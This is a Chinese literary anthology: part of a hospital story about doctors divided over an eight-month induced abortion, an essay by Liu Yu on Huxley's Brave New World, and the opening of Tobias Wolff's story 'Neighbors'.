　　“不在东京啊，那结果怎样？”

　　佐野久美子半天不回答，双手握紧了又松开，松开了又握紧，半晌，她叹了口气抬起头。

　　“他和别的女人在一起……”

　　“和别的女人同居了？”

　　佐野久美子点点头，双手捂住眼睛。

　　“这个混帐家伙。”

　　幸坂把香烟用力地掐灭了，如果那男人就在这里的话，他非把他揍得趴下不可，这个玩弄女性的混蛋。

　　“你一心一意地等着他，他怎么能丢下你又去拈花惹草呢？”

　　就在幸坂愤愤的同时，佐野久美子眼泪夺眶而出。幸坂不知怎么去安慰她，眼睛只好转向手中的病历。

　　“这么说，他是不可能再回来了，是吗？”

　　佐野久美子从睡袍口袋里取出手帕擦干眼泪。那手帕是天蓝色的，四周缀满了精致的绣花。

　　“你现在还爱着他吗？”

　　“……”

　　“如果他回到你身边，你不会还想和他在一起吧？”

　　“他不可能会回来了。”

　　“我想知道的是，你现在还爱不爱他？”

　　佐野久美子抽泣着，不知怎么回答。

　　对这么一个伤害了自己的负心人她好像还是难以割舍，这也许不仅仅是出于她对那男人的眷恋，更是因为自己肚子里的孩子和那男人是无法分割的吧。

　　“你挺着这么个大肚子，家乡的父母亲知道吗？”

　　“他们不知道。”

　　“这还真不好办了。”

　　幸坂真的为难了，再这么问下去，他不由得要站到井田主任一边去了。

　　“你听着，把一个八个月大的胎儿流产不是一件那么容易的事，这不叫流产，应该是早产了，它和普通的生产没有什么区别。”

　　“……”

　　“你肚子里的胎儿，不要说四肢，五官都已发育齐全了，生下来完全可以存活长大。”

　　佐野久美子的肩又在瑟瑟发抖，再说下去她一定受不了，但幸坂顾不得这些了，尽管有些残酷，但必须要对她讲清楚。

　　“八个月打胎这不是那么轻描淡写的事，这是杀人。”

　　“……”

　　“这么做的话，你和我都是凶手。”

　　佐野久美子忍不住放声大哭起来。

　　“这对孩子来说太残酷了，而且你的身体也会受到创伤，弄不好你就永远不能再生育了。”

　　“这是真的？”

　　佐野久美子一边抽泣一边问。

　　“当然，那是最坏的情况。”

　　幸坂慌忙订正道。这种可能是有的，但医生的义务就是要避免这种危险的发生。

　　“那孩子已经在肚子里动得很有劲了吧？”

　　“是的。”

　　胎动一般从五个半月左右开始，她感受到这个生命实实在在地在自己的肚子里应该有两个多月了。

　　“这孩子可是活生生地在你肚子里，你真的想清楚了？”

　　“……”

　　“你真的不想把它生下来？”

　　佐野久美子不回答，用手捂住眼睛陷入了深思。

　　“确实，你太年轻，才二十一岁，你的人生还刚刚开始，可是……”幸坂一时语塞，找不到恰当的话来。

　　“总之，给八个月的婴儿打胎这肯定是胡闹，没有一个医生会答应这么做的，这是地地道道的犯罪，一旦被告发，我们要受到刑事处置的。”

　　“对不起。”

　　佐野久美子深深低下头，那一头柔顺的秀发遮住了她那泪流满面的脸。

　　“他肯定不会回来了吧？”

　　不知什么时候，幸坂对那男人冒出了一丝期望，如果那男人还会回到她身边的话，那么她当然应该生下这个孩子。

　　“就你一个人，要把孩子拉扯大的确很难啊。”

　　这时，佐野久美子突然抬起头来。

　　“如果你们一定不能替我堕胎，那我就生下这个孩子，我自己来养她。”

　　“你这话当真？”

　　满脸泪痕的佐野久美子咬紧嘴唇。这下，倒是幸坂不知所措了。

　　她真的能把一个孩子抚养成人吗？打量着眼前这个女孩，幸坂自己都不放心起来。

　　“就凭你一个人，你有信心把孩子带大吗？”

　　“我没有其他选择。”

　　“我也没说绝对不行。”

　　“医生……”佐野久美子施了个礼站起来，“请让我一个人呆一会儿。”

　　“好吧，你再仔细想一想。”

　　幸坂对佐野久美子说，其实，他自己也想一个人冷静地思考一下。

四

　　第二天是星期六。

　　早晨，幸坂觉得有点轻微的头痛，就向医院请了假。感冒倒是不太厉害，但昨天和井田主任的那番争执让他心里很是郁闷，他实在提不起精神去医院。

　　星期六，原本就上半天班。今天休息的话，紧接着就是星期天，这样就可以两天不跟主任照面。事隔两天的话，那么发生争执后的尴尬可以缓解一些。

　　但是，好端端的，让他一整天呆在屋子里也怪难受的。傍晚，看着天黑了，幸坂打电话给高中的朋友今村，约了他一起喝酒，今村在商社工作。

　　他俩在新宿一连喝了三家，话题自然而然地转到佐野久美子身上。

　　“你说，怎么可以这么做？”

　　幸坂把自己和主任发生争执的事告诉今村。

　　“那太过分了，你那医院如果这么草菅人命的话，我女朋友下次可不敢上那了。”

　　“不过，这次的情况有点特殊。”

　　“大概比起正常的分娩，像她这样的人工流产更能挣钱吧？”

　　“那倒不是，像我们这样的公立医院，挣钱、赔钱和我们医生没有直接关系，主任这么做绝对不是为了钱，这一点是肯定的。”

　　“你认为这种做法是错误的话，当然应该抵制。”

　　“是啊。”

　　“你说的那个主任，太让人败兴了。不过，幸好还有你这样一位伸张正义的人，真令人欣慰。一定不要向那个老朽的医生妥协，走你自己的路。”

　　幸坂倒没以为井田主任已经老朽，但被今村这么一鼓气，幸坂的心情好多了。

　　他觉得自己得到了肯定，自己的想法没有错。

　　幸坂顿时充满了信心，情绪高亢，他和今村又上别处喝了一气，这才回到自己的公寓。

　　这么折腾了一晚上，幸坂第二天脑子还是晕晕乎乎的。

　　第二天，幸坂快中午才起来，正在看报，津田绘梨子来电话。

　　绘梨子是幸坂的恋人，K 大学英语系毕业，现在一家教育出版社工作。他俩准备明年春天结婚，而绘梨子希望婚后能继续工作。

　　绘梨子请他去涉谷父母家里吃晚饭，可幸坂昨晚喝得烂醉，所以懒得动。

　　“那我做了便当给你送去吧。”

　　幸坂觉得在绘梨子家和她父母一起吃饭，还不如两个人呆在自己的公寓自在，绘梨子大概也是这么想的。

　　挂了电话，看了一会儿电视，已是傍晚时会。十二月份过了四点，天已经黑了下来。

　　望着窗外的暮色，幸坂又想起了佐野久美子。

　　自己拒绝给她做引产的处置后，不知道野川是不是接受了。星期五那天，自己没再和主任说什么，也没有去护士值班室，到了五点就下班走了。野川那天下午去私人诊所出差半天，没在医院，所以幸坂也没能直接问野川本人。

　　插入水囊球的催产处置，指示上写着从星期五傍晚开始，如果要按计划做的话，那天只好由井田主任自己亲自动手了。

　　根据妊娠月份不同，水囊球的剂量也不一样，八个月的话大概要放 200 毫升左右吧。

　　具体的操作方法是：先将水囊球消毒，像卷烟似的卷紧，再用钳子夹住，从子宫口放进去，这时一定要注意不能捅破胎胞，一直把它推入子宫深处，然后把无菌水通过连接着的橡胶管灌进去，无菌水正好灌足水囊球的容量，再封住管子一头，不让无菌水发生逆流。

　　这样，由于水囊球的压力，附着在子宫上的胎盘就会剥离，促成流产。

　　如果想让流产加快，有时还会在体外绑上重物让它连接着手术台边的滑轮，持续牵引住水囊球。

　　幸坂想像那个子宫深处已被放入水囊球的佐野久美子的样子。

　　原本因胎儿撑大的子宫，又被放了那么大的水囊球，她的子宫现在一定变得异常大了。

　　一旦插入了水囊球，她就不能动了，她必须忍受三天或者四天，一直到子宫口开大，产期来临。

　　这段时间对一位女性来说，是如此的漫长难挨，紧接着她还要承受更加煎熬的阵痛。

　　患者忍辱负重，最后却一无所获，失去的是一个活生生的生命。

　　佐野久美子那苍白虚弱的身体能熬过三天或者四天的时间吗？幸坂在黑暗中想着这些，这时，绘梨子来了。

　　“怎么了，灯也不开？”

　　绘梨子穿着红色立领的短外套，喇叭裤，显得年轻飒爽。

　　绘梨子今年二十三岁，打扮得精干利索，像个男孩，怎么看也就二十左右吧。

　　“肚子饿了吧？”

　　绘梨子打开了灯，从厨房拿来杯碟，解开便当盒。

　　这是一个双层便当盒，上面一层是菜，底下一层放着饭。炸鸡块、烤三文鱼排、奶酪火腿卷等等，菜都用锡纸分隔开，装得整整齐齐。

　　“吃吧。”

　　幸坂拿起筷子，却没什么食欲。

　　绘梨子烧上水，冲好茶端了过来。

　　“怎么啦，无精打采的，出什么事了？”

　　“嗯。”

　　幸坂也想听听绘梨子的看法。

　　“我和主任吵了一架。”

　　“为什么？”

　　幸坂是自己的未婚夫，幸坂的事就是自己的事，绘梨子睁大了她那双原本很大的眼睛。幸坂简单地说了一下星期五以来发生的事情。

　　“今村赞成我的意见，你认为呢？”

　　“我当然也觉得你没做错。”

　　幸坂料到绘梨子肯定会这么说，但由她本人亲口说出来，幸坂听了还是很高兴。

　　“把那么大一个孩子堕胎流掉，那是犯罪。要是我，一定生下这孩子。”

　　“即便你男朋友跑了，抛弃你不管了，你也会把孩子生下来？”

　　“你说什么不吉利的话。”

　　“我这只是假设嘛。”幸坂慌忙补充道。

　　“就算你不在，我也会生下孩子，因为那是我的孩子。”

　　“说的是没错，可将来，一个女人家只身带着一个孩子，这一辈子可是很不容易的。”

　　“可事到如今，她有责任啊，是她自己喜欢上他，才以身相许，怀上了孩子，孩子在她肚子里长大了，这只能由她自己负责。”

　　“可是，佐野久美子的那个男人也太坏了。”

　　“男人坏不坏，脑子清醒的女孩应该一眼就识破了。”

　　“可是谁让她爱上了呢，就算知道他一百个不是，结果还是恋恋不舍，不能下决定离开他。”

　　“照你这么说，她应该引产，不要这个孩子喽？”

　　“我不是这个意思。”

　　幸坂是想站在井田的立场上和绘梨子讨论一下。

　　“反正，女方也有责任的。”

　　“但从她的角度说，许多事情她也是不得已。”

　　“她可能的确有许多难言之隐，可是拖了八个月也太糊涂了吧，她早该做决断的。”

　　“是啊，的确够糊涂的。”

　　“她脑子是不是有点问题呀？”

　　“那倒不可能。”

　　幸坂的眼前浮现出佐野久美子那无助的脸。

　　“反正，八个月的胎儿要被堕胎，这和杀人没什么区别，那孩子太可怜了，这一切，可不是孩子的错。”

　　“是啊。”

　　“八个月的话，四肢都健全了吧。”

　　“是男是女都清清楚楚了呢。”

　　“太可怜了。”绘梨子夸张地皱起眉头。

　　“可是，要生下这么个没有父亲的孩子，的确不是件容易的事啊。”

　　“这算什么理论？”绘梨子语气激烈地说。“这孩子生下来就没有父亲，太可怜了。这种想法太陈腐了。没有父亲的孩子是可怜的，这完全是男人的自以为是。”

　　“真是这样？”

　　“是八个月就被扼杀不能来到这个世上，还是做一个没有父亲的孩子，你说哪个更幸福呢？”

　　“你这么说的话，这事就没法讨论下去了。”

　　“社会上有不少单亲的未婚妈妈。”

　　“可那样的母亲是很辛苦的啊。”

　　“这些都是男人单方面的想法。生下一个没有父亲的孩子，女人不见得就不幸福，有了孩子女人的生活就有了奔头，有了奋斗的勇气，当个未婚妈妈比做一个嫁不出去的老姑娘不知道幸福多少呢。”

　　“嗯，话是没错……”

　　“反正，准备打胎不要这孩子，就是胆小鬼的行为。”

　　确实，生下的孩子没有父亲，那母亲就太可怜了，这种想法可能有点主观，但总不能说没有父亲女人反倒幸福吧。有了孩子生活就有了希望，这也仅仅是女人打肿了脸充胖子的想法。幸坂在心里这么思忖，可是，绘梨子说的那些理论对他还是很有吸引力的。

　　“当医生的，觉得什么事都可以用手术刀来解决，我就受不了这种做法。”

　　“我可不是那样的医生。”

　　“反正，你应该坚决反对这种做法的。”

　　“可是，不知还有没有挽回的余地。”

　　“为什么这么说？”

　　“可能都已经做好了引产的准备了。”

　　“你不是床位医生吗？你不在怎么做准备？”

　　“嗯……”

　　幸坂支吾着，眼前又浮现出佐野久美子被放入水囊球后痛苦的表情。

五

　　星期一，幸坂终于打定了主意。

　　不管什么理由，八个月的胎儿是不应该再做流产处理的，这正如法律上所定义的，和人道主我是背道而驰的，完全是草菅人命，是医生的耻辱。

　　如果到了医院，发现佐野久美子已经被实施了流产的处理，他一定要阻止，如果主任一意孤行的话，他将毫不犹豫辞职，离开这所医院，他没必要留在这么一所医院里。

　　被今村、绘梨子打足了气的幸坂，犹如一出悲剧戏中的主人公一般，抱着英勇就义的气概去医院上班了。

　　星期一的工作日程要求每个医生先去查房，床位医生先探视一下自己的病人，然后再去门诊部。下午安排手术，如果没有手术，就会安排患者做检查。

　　上午九点，幸坂一到医院，就去病房转了一圈，312 室归他管，他是必须要去的、

　　在去病房的路上，他向紧跟在他身后的分管 312 病房的护士小畑。

　　“佐野久美子的情况怎么样？”

　　“佐野，就是靠窗的那个吧？”

　　“就是星期五住院、妊娠八个月的那个。”

　　“要做流产，已经插入水囊球了。”

　　“什么时候插入的？”

　　“星期五晚上，井田医生亲自做的。”

　　“还是做了。”

　　幸坂快步来到 312 室，推门进去，佐野久美子在右侧靠窗的床上躺着。

　　三天下来，她那原本消瘦的脸，埋在宽厚的枕头里，显得更加尖瘦，一副憔悴的模样。

　　“怎么样？”

　　幸坂靠近她的身旁问道。

　　“嗳……”佐野久美子的声音有点沙哑。住院时还是一双双眼皮的大眼睛，现在变成了不规则的三眼皮了。

　　“难受吗？”

　　“嗯”

　　你问什么，佐野久美子的回答都是一个字，大概逼近产期，她浑身乏力。

　　幸坂从护士手里接过佐野久美子的病历，打开。

　　在星期天的记录上，写着子宫口开大，3 公分。那是井田的笔迹，看来，井田星期天还到医院来看过她。

　　“还是决定做引产？”

　　幸坂把声音压得很轻，只有佐野久美子可以听见。

　　“是。”

　　佐野久美子的嘴巴动了动，声音轻得几乎听不见。

　　“你肯定不会后悔吗？”

　　“……”

　　“真的想清楚了？”

　　佐野久美子眼睛直直地盯着天花板，泪水慢慢流了下来。

　　“如果你现在改变主意，孩子可能还有救。”

　　听幸坂这么说，佐野久美子把脸扭向一边，肩膀颤抖起来。

　　幸坂知道再说下去，她就忍不住要哭了。佐野久美子尽管不说什么，但从她的表情看，她的内心依然还在挣扎。幸坂注意到周围的病人在朝这里张望，便从她的床边走开了。

　　查完 312 室，幸坂又到了 313、315 看了看他负责的病人，然后回到护士值班室，把护士长叫到一边的沙少。

　　“佐野久美子的水囊球，是井田医生做的？”

　　“是的。”

　　护士长板着脸回答。星期五的那股火药味还没散尽呢。

　　“你能不能先把水囊球拿掉？”

　　“你想干什么？”

　　“这个你不必问，按我的指示做就行。”

　　“我是按井田医生的指示在做。”

　　“你能听井田医生的指示，难道就不能听我的？”

　　“你们两位医生的意见不统一，我没法执行。”

　　“你按我说的去做就行。”

　　“是井田医生说了要拿掉吗？”

　　“没有，但我认为应该停止这个措施。”

　　“我拒绝这么做。”

　　“什么？！”

　　幸坂觉得一股热血往脸上涌来，脸颊不规则地痉挛着。

　　“你是想做杀人犯的帮凶吗？”

　　“……”

　　“这种手术无论从医学角度，还是法律角度都是不允许的，你难道不知道吗？”

　　“这你得去问井田医生。”

　　“那个患者其实是想把孩子生下来的，她星期五是这么说的，而且现在还在哭呢。”

　　“她当然希望能生下这个孩子。”

　　“那你还反对什么？”

　　“可她最后还是放弃了。”

　　“我听不懂你说什么。”

　　“你才根本不懂她的心情，所以还是别再自作主张的好。”

　　护士们在一旁有点担心地看着他俩剑拔弩张的样子。幸坂觉得有点尴尬，但又骑虎难下。

　　“我能理解她的心情，她其实是想要这个孩子的。”

　　“就算想要，但这个孩子没有父亲，将来她怎么把它抚养成人？”

　　“因为孩子没有父亲就认为这个女人不幸，这种想法太陈腐了。”幸坂搬出绘梨子的话来，“只要生下来，做母亲的从孩子身上会找到自己的幸福的。”

　　“真是这样吗？”

　　“你这种老姑娘当然不明白。”

　　“医生……”

　　护士长目光犀利地死死盯着幸坂。她那严厉端正从未得到过男人呵护的脸冷冰冰的，一双眼睛发出异样的光芒。

　　“医生，你太过分了，说出这么伤害护士长的话。”护士主任看不下去了。

　　“这事跟你无关。”

　　幸坂狠狠地把护士主任顶了回去。护士长低着头不作声，一动不动地站在那里。

　　“我没有说错，不管从医学的角度，还是人道主义的立场，都不会允许这么做的，哪个医科大学也没有这么教过。你们为什么就不能伸张正义，听听我说的呢？这么下去，一个生命将被扼杀，这个幼小的生命原本可以来到这个世上的，你们为什么就不能伸不出手来救它一下呢？

　　护士们围着幸坂和护士长，一片静默。

　　“我说错了吗，护士长？”

　　护士长慢慢抬起头，直视着幸坂。

　　“我听井田医生的。”

　　“你是肯定要做杀人犯的帮凶？”

　　“失陪了。”

　　护士长说完，冲出人群，走了。

六

　　下午有一例手术，病人四十五岁，子宫癌。井田主刀，野川、幸坂做助手。

　　幸坂实在不想和井田一起参加手术，但子宫癌手术需要人手，他只好去了。

　　手术两点开始，快到四点才结束。手术中，幸坂除了止血钳、止血夹这些工作上的简单用语之外，便一言不发。

　　手术结束，幸坂去洗了澡，回到科室，野川已经在那儿。

　　“主任让你去一下。”

　　“什么事？”

　　“一定是 312 室病人的事吧，你也别太倔了。”野川已经知道前几天发生的事了。幸坂照了照镜子，镇静了一下出去了。

　　从科室到主任办公室也就五十米的距离，幸坂慢慢理了理思绪，来到主任办公室。他敲了敲门，里面传来井田的声音。

　　“请进。”

　　幸坂深深吸了口气，推门进去。

　　井田正在桌子上写刚才的手术记录，见幸坂进来便站起身来，在近门口的会客沙发上坐下。

　　“找我什么事？”

　　“好了，坐下吧。”

　　幸坂看了看井田，在他对面的椅子上坐了下来。

　　“好像火气还没消啊。”

　　“……”

　　幸坂低下头，心想，何止是火气，他根本看不起井田，井田竟然做出这种事来。

　　“你的心情我理解，不过，在这里我是主任，所以一切必须按我的方针办事，当然，出了问题由我负责。”

　　井田的语气很平静，但话的分量是很重的，就差没有直截了当地说“你别在这里胡来。”

　　“我想你也不可能出去说，但我也不想被人知道我们给妊娠八个月的人做了中止妊娠的引产手术。”

　　“你既然怕被人知道，为什么还要做么做呢？”

　　幸坂瞪着井田。

　　“如果我们总得瞻前顾后地担心，我们所做的事是否符合法律规定，那我们可以做的事就非常有限了。有关人工中止妊娠的法律界定本身就值得推敲，母亲体弱无法承受妊娠，父母双方有遗传疾病，没有抚养孩子的经济能力，表面上只有这三个理由可以中止妊娠，但在实际操作上，这个定义已经被人们扩大化了，这就是说，优生保护法本身不切合实际，是个漏洞百出的法律。”

　　“但是，通常来说医生给四个月以下的胎儿进行人流，而八个月的胎儿也被引产中止妊娠也太过分，太残酷了吧？”

　　“是很残酷，但也有不得已而为之的时候。”

　　“但她真的不想要这个孩子吗？”

　　“她不想要，她对我说了，让我帮她拿掉这个孩子。”

　　“可她却明明白白对我说，她想生下这个孩子。”

　　“她可能有这个愿望，但又举棋不定。”

　　“但你不能完全无视她要这个孩子的心愿吧？”

　　“她想要这个孩子是有前提的，那就是如果她和他能结婚的话。”

　　“我不这么认为，她之所以拖到八个月，就是因为想要这个孩子……”

　　“她是犹豫不绝。”

　　“但她如果根本不打算要这孩子，肯定早就采取措施了。”

　　“一个有血有肉的女人，她的行为不是用简单的道理可以解释清楚的，就在她拿不定主意的时候转眼已经八个月了。”

　　“那她不就是个呆子了？”

　　“这是你一个大男人的逻辑。”

　　“这话不是我说的，这是我认识的一个女孩说的，她说这个女人被男人抛弃后，还能熬到身怀六甲，就是因为她想生下这孩子。”

　　“那女孩子是因为自己没有经历过这样的遭遇，也没遭到男人的抛弃，才说这种轻描淡写的话。”

　　“反正，八个月的胎儿要被打胎，这是犯罪。”

　　井田沉默片刻，说道：“这世上需要有这样一个冒天下之大不韪的医生吧。”

　　说完，井田从身后的桌子抽屉里取出一封信来。

　　“你看看这个吧。”

　　信封上写着：M 大学医院妇产科，井田敬一郎先生。信的背面署名是河濑智惠子。

　　幸坂从已经开了封的信封中抽出信笺，信笺被折成三折，一共三页，但只有其中一页写满了字。

　　医生，我这就要去天国了，你替我接生下来的太郎将伴我同行。我实在没有能力将他抚养成人，自从有了这个孩子，我失去了青春，失去了年轻女孩本该有的笑声，我变得一无所有。我真的累了，我甚至有点恨你井田医生，当初你为什么不帮我拿掉他。当然，一切都是我自食其果，再说，不能因为我，让医生您成为一个罪人。我和太郎走了，在天国，我俩会相依为命。再见了。

　　看得出，信上的字出自一个女性之手，字写得不是很漂亮，一行行歪歪斜斜地排列着，字迹大小不一，字里行间让人看出她内心挣扎已久，才做出了死的抉择。

　　幸坂将信反复读了两遍，井田说道：

　　“这个人也是二十岁，当时怀孕八个月。”

　　“主任，你没为她做人流？”

　　“这事发生在七年前，当时我还在大学医院，一直是循规蹈矩，按原则办事的人。那位患者几次哭着求我给她打胎，我都拒绝了，后来肚里的胎儿越来越虚弱，她又来过几次医院。”

　　幸坂又看手中的那封信，那陈旧发黄的信笺上，歪歪斜斜的字一个个如泣如诉似的晃动起来。

　　“那时候要是我替她做手术的话，最后也不至于是这种结果。”

　　“她什么时候死的？”

　　“孩子生下一年后，她带着孩子一起煤气中毒自杀了。”

　　幸坂的眼前出现了一个他闻所未闻的世界。就像是看戏，他从来只在观众席上看正面的舞台，现在，幕的一角被掀起了，他窥视到一个从没见识过的世界。幸坂突然发现，自己以前的想法看似正确，其实却是那么的单纯和教条。

　　“那男人丢下她走了，她为了抚养孩子当了陪酒女。”

　　幸坂不由得想到已做好引产准备的佐野久美子。

　　“如果她不生下孩子，她也许能忘了那个男人，忘记那一段噩梦般的生活，重新振作起来。”

　　“你是说那孩子成了绊脚石？”

　　“遗憾的是，孩子有时真是个绊脚石。”

　　“她是不是性格特别软弱？”

　　井田说的可能是事实，但幸坂还是对那个自杀的女孩很生气。“那些生下没有父亲的孩子的女人，不见得是不幸的，也不会都去寻死吧？”

　　“说的是不错。”

　　“事实上有了孩子，有些做母亲的反倒坚强起来，有了活下去的勇气。”幸坂借用绘梨子的理论，“难道不是这样吗？”

　　“那你是说，就像护士长那样？”

　　“你说什么？”

　　“你不知道护士长的经历吗？”

　　“护士长怎么了？”

　　幸坂只知道护士长从年轻时一直独身，其他就不甚了解了。

　　“护士长也有过同样的经历，很长一段时间她犹豫不绝，结果就过了五个月，不得已她只好把孩子生了下来，那是个女孩子，现在该上大学了吧。”

　　“这是真的？”幸坂第一次听说这事。

　　“我也是在无意中，把那自杀女孩的事告诉了她，她才对我说出了她的经历，她和大家好像还从未谈起过，但因为这个孩子，她再也没结婚。”

　　“护士长怎么会拖到五个月……”

　　“一定是踌躇再三吧。”

　　护士长医学知识丰富，工作麻利，真难想像这么能干的护士长竟然还会有这样的过去。

　　“那时候，谁都不敢为妊娠五个月的孕妇做妊娠中止手术，没办法，她才生下那个孩子的吧。”

　　“她没想过再结婚？”

　　“好像有过心仪的人，但因为有孩子，她最终没下得了决心。”

　　“那么说，她也后悔当初不该要这个孩子？”

　　“她倒没说后悔，但她说了，如果没有这个孩子，她的生活一定更快乐丰富，也一定会活得更有声有色。”

　　“这么说，护士长就是靠她一个女人把孩子拉扯大的。”

　　“她是个护士长，所以有经济能力维护生活，但二十一岁起，她就年轻轻地一个人带着孩子，过着寂寞孤单的日子。”

　　幸坂真想现在立即跑去给护士长道歉，他对护士长太不了解了，竟然出言不逊地说她是“老姑娘”。想起自己的鲁莽，幸坂实在无地自容。

　　怪不得自己说给八个月的胎儿打胎太残酷，护士长固执地就是不站在自己一边，原来有她的难言之隐，更有她对自己人生的惋惜。

　　“仔细想想，护士长也是挺可怜的。”

　　井田把那封遗书放回信封里。

　　“你说的是没错，扼杀一个八个月的胎儿是残酷，但是因为一个孩子而牺牲了自己一辈子的女性难道就不可怜吗？”

　　幸坂现在真的搞不清到底哪个是正确的了。你原认为不正当的事在某种场合却是正确的，而你觉得正确的事有时候得到的结果却恰恰相反。

　　“在众多的医生中，需要一个冷血、不守规矩的医生吧。”

　　井田苦笑起来，手中的香烟灰掉在了地上。

　　外面传来一阵脚步声，紧接着响起敲门声。

　　“请进。”

　　井田话音刚落，门被打开，是护士长。

　　“怎么了？”

　　“佐野久美子开始阵痛了。”

　　“子宫口开多少了？”

　　“五公分。”

　　“是吗，那就快了。”

　　井田掐掉香烟，看了一眼手表。

　　“先用 0.2 毫升奎宁。”

　　“是。”

　　“然后把患者推到分娩室……马上就去。”

　　“那就请医生开始吧。”

　　护士长对幸坂看都不看一眼，施过礼，出去了。

　　幸坂的手表正显示着六点，窗外已经天黑，对面楼里的病房已点上灯了。

　　“那么，又要干件违法乱纪的事了。”

　　井田拍了一下腿站起来，幸坂也跟着站了起来。

　　“你，和我一起去吗？”

　　“……”

　　“听着，八个月的胎儿已经很大了，有眼睛，有鼻子，还有眉毛，手脚也有模有样了，男孩子的话当然还有小鸡鸡，但不管病人怎么问你，你只能告诉她是个红色的血块。”

　　“是。”

　　“你就当它是个死胎，把它取出来，明白了？”

　　“是。”

　　“那么，走吧。”

　　井田朝幸坂一点头，关上门，在夜色中他俩并肩穿过走廊，快步朝病房走去。

幸福的与被幸福的

刘瑜

　　2503 年，一个婴儿养育室里。护士们在地板上摆了一堆图书和鲜花，然后把一群长得一模一样的、8 个月大的婴儿放到了地板上。婴儿们看到图书和鲜花，飞快地爬过去，拿起来玩耍。这时候，长官一声令下，护士长启动电路装置，一时间，刺耳的警报响起，地板被通上了电，触电的婴儿们在痛苦中痉挛并尖叫不已。过了一会儿，护士长关上了电闸。

　　“这样的试验大约重复 200 次左右，”长官微笑着对参观者说，“这些孩子们就会对图书和花朵形成本能的憎恨，他们的条件反射就这样被限定了。”

　　“限定”，大约是《勇敢新世界》一书中的最关键词汇。在阿尔多斯·赫胥黎笔下的那个美好盛世里，人从受精开始就被“限定”了。精子和卵子在试管里被调制好，不健康的胚胎被“限定”出局，健康胎儿在孵化器里长大。然后从婴儿养育室开始，孩子们一路被“限定”得厌恶书籍和自然、厌恶独处、厌恶家庭、厌恶宗教和艺术，同时被“限定”得热爱集体、热爱消费、热爱滥交。

　　当然，并不是所有的人被限定的方式都一样。美好新世界里，人类被分成了五级，Alpha、Beta、Gamma、Delta 以及 Epsilon——Alpha 被限定得聪明漂亮，而 Gamma 以下的人不但被限定得矮小愚钝，还批量生产。不过没关系，虽然在那个世界里人有等级贵贱，但是他们都一样幸福——因为无论哪个等级，其接受的“睡梦教育”都会告诉他，他所在的等级最美好最幸运。

　　这样的世界，有什么问题吗？

　　美好新世界的首长穆斯塔法，这样问质疑者“野人”约翰。

　　有什么人类跋山涉水追求了几千年的东西，新世界里没有呢？经济发展？新世界里如此富足，上至 Alphas 下至 Epsilons，人们不愁吃穿。健康？生物学家们早就把人类限定得不再有疾病。青春？这里人们青春永驻，直到突然死亡。美女帅哥的青睐？这个更不用担心，因为新世界里“每个人都属于他人”，滥交是最大的美德，你要是长期只跟一个美女上床，会成为该世界里骇人的丑闻。

　　不错，这个世界里没有艺术、诗歌、撕心裂肺的爱情、没有毕加索或者莎士比亚，但是，当你每天都幸福得晕眩时，为什么还会需要毕加索或者莎士比亚？文学艺术往往是为了表达冲突超越痛苦，那么，在一个冲突和痛苦根本不存在的世界里，文学艺术也就变成了社会的阑尾。更不要说“爱情”，那简直是高速公路上突然蹦出来的一头羚羊，如此危险，通通地，限定了之。

　　所以，这样的世界，有什么问题吗？

　　柏拉图估计不会觉得有什么问题，因为新世界里政治家和科学家就是智慧非凡的哲学王。老子估计也不会觉得有什么问题，“劳心者治人，劳力者治于人”在这个桃花源里被充分实施。希特勒更是会欣喜若狂，因为将人类的未来当做一个巨大的生物工程来建设，简直是他的毕生追求。还有斯大林，荡漾在新世界人们脸上的微笑，与沉浸在丰收喜悦里的社会主义农民如出一辙，而新世界的“睡梦教育”，简直可以说是对苏式灌输教育赤裸裸的抄袭。所有那些信奉“精英治国”、信奉“稳定高于一切”、信奉“老百姓无非就是关心吃饱穿暖”的人，都会是“美好新世界”的热情粉丝。

　　这个新世界如此美好，它只有一个小小的缺陷——在那里，幸福的人们全都是“被幸福”的。

　　就是说，在那里，人们的幸福是政治家和科学家呕心沥血的科研成果，与每个个体自己的创造力、情感体验能力、审美能力都毫无关系。民众只需像儿童那样，系上围兜，张口吞下哲学王或者先锋队一勺一勺送过来的食物，就乘坐直升电梯抵达了极乐世界。而精英们为了民众，制作食物既考虑营养，又考虑消化，可以说是殚精竭虑。有如此鞠躬尽瘁的统治者，民众的个体自由意志完全是多此一举。如果说奥威尔的《一九八四》里，人们为失去自由而痛苦，那么赫胥黎的《勇敢新世界》里，人们则为摆脱了自由的重负而狂喜。真的，如果政治家科学家给民众带来如此丰盛的快乐，民众何必要自己去斗争？就像如果你可以从父亲那里继承一大笔遗产，何必要自己去辛苦挣钱？除非——

　　你认为得到的过程比得到本身更有意义。除非你不识抬举地认为，通过个体努力去争取幸福比“被幸福”更体现生命的价值。

　　也正是在这个意义上，我在一切精英治国观里读到的是对生命的藐视。当统治者的恩赐被视为民众幸福的源泉时，统治者越高大，民众就越渺小。对有些人来说，幸福如此简单，无非是对着送过来的汤勺不断张嘴，而对另一些人来说，它如此复杂，需要汗滴禾下土粒粒皆辛苦。由于运气和能力，也许耕耘未必能带来收获，但是恩赐来的幸福和捕猎来的痛苦之间，你选什么呢？在幸福药丸索马和跌宕起伏的莎士比亚之间，野人约翰选择了莎士比亚。但是当然，对于美好新世界里的绝大多数人，这根本不是一个问题。他们从来没有选择的权利，无处不在的幸福不由分说，一把把他们给罩住，他们只能躺在幸福的牙缝里，被咀嚼，然后变成一堆残渣，被气势磅礴地给吐出来。

邻居

托拜厄斯 · 沃尔夫

　　我醒来时感觉害怕。我妻子坐在我的床边，在摇晃我。

　　“他们又闹起来了。”她说。

　　我走到窗前，他们家的灯全开着，楼上楼下都是，好像钱多得花不完。男的在吼，女的尖声回敬，狗也叫起来。安静了一小会儿，接着那个小孩儿哭了，可怜的小东西。

　　“最好别站在那儿，”我妻子说，“他们可能会看到你。”

　　我说：“我要报警。”心里也知道她不会让我。

　　“别去。”她说。

　　她害怕如果我们投诉，他们会毒死我们的猫。

　　邻居那个男的还在吼，但是因为狗叫，小孩儿又哭，听不清他吼的是什么。女的笑了起来，但不是真的想笑——“哈！哈！哈！”——后来突然发出一小声尖叫，然后一片安静。

　　“那个男的打了她，”我妻子说，“我感觉正像是打了我一样。”

　　邻居那个小孩儿发出长长的一声号哭，狗又开始叫起来。那个男的出门走上他家的车道，砰的一声关上门。

　　“小心点。”我妻子说。她回到自己的床上，把被子拉到脖子那儿。

　　那个男的嘴里嘟嘟囔囔的，猛地拉裤链。最后拉开了，他走到我们家的栅栏那里。那是白色尖桩栅栏，最主要是起个装饰功能，拦不住人，是我自己竖起来的，还一路沿着它种了金银花和三角梅。

　　我妻子说：“他在干吗？”

　　“嘘。”我说。

